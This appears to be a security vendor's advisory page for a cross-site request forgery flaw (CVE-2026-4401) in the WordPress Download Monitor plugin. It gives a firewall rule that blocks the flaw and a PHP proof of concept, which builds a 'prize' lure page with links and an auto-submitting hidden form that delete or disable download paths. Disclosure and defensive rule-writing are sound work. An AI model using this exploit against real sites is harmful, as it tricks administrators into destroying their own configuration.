  SecRule ARGS_GET:page "@streq download-monitor-settings" "chain"
    SecRule &ARGS_GET:check "@eq 0" "chain"
      SecRule ARGS_GET:action "@within enable disable delete enable-all disable-all" "chain"
        SecRule ARGS_GET:url "@rx ^d+$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4401 - Download Monitor <= 5.1.10 - Cross-Site Request Forgery to Download Path Deletion and Disabling

<?php
/**
 * Proof of Concept for CVE-2026-4401
 * This script demonstrates CSRF vulnerability in Download Monitor plugin
 * Requires an authenticated administrator session to execute
 */

$target_url = "https://vulnerable-wordpress-site.com/wp-admin/admin.php";

// Simulate a malicious page that tricks an admin into clicking a link
// This would typically be hosted on an attacker-controlled domain

echo "<h1>Malicious Page - Click to Win Prize!</h1>";

// Individual action examples
$download_path_id = 1; // Target download path ID

// Delete a download path
$delete_url = $target_url . "?page=download-monitor-settings&action=delete&url=" . $download_path_id;
echo "<p><a href='" . htmlspecialchars($delete_url) . "'>Click here for prize (deletes download path)</a></p>";

// Disable a download path
$disable_url = $target_url . "?page=download-monitor-settings&action=disable&url=" . $download_path_id;
echo "<p><a href='" . htmlspecialchars($disable_url) . "'>Click here for prize (disables download path)</a></p>";

// Enable a download path
$enable_url = $target_url . "?page=download-monitor-settings&action=enable&url=" . $download_path_id;
echo "<p><a href='" . htmlspecialchars($enable_url) . "'>Click here for prize (enables download path)</a></p>";

// Bulk action example using JavaScript auto-submit
// This would execute when the page loads
$bulk_action_url = $target_url . "?page=download-monitor-settings";
echo "<form id='csrf_bulk' method='POST' action='" . htmlspecialchars($bulk_action_url) . "' style='display:none;'>";
echo "<input type='hidden' name='bulk-action' value='delete'>";
echo "<input type='hidden' name='approveddownloadpaths[]' value='1'>";
echo "<input type='hidden' name='approveddownloadpaths[]' value='2'>";
echo "<input type='hidden' name='approveddownloadpaths[]' value='3'>";
echo "</form>";
echo "<script>document.getElementById('csrf_bulk').submit();</script>";

// cURL example for automated testing
function test_csrf_via_curl($url, $method = 'GET', $params = []) {
    $ch = curl_init();
    
    if ($method === 'GET' && !empty($params)) {
        $url .= '?' . http_build_query($params);
    }
    
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    
    if ($method === 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
    }
    
    // Simulate admin session - in real attack, this would come from victim's browser
    // curl_setopt($ch, CURLOPT_COOKIE, "wordpress_logged_in_xxxx=admin_cookie_value");
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return ['code' => $http_code, 'response' => $response];
}

// Example cURL test (commented out for safety)
// $test_result = test_csrf_via_curl($target_url, 'GET', [
//     'page' => 'download-monitor-settings',
//     'action' => 'delete',
//     'url' => '1'
// ]);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School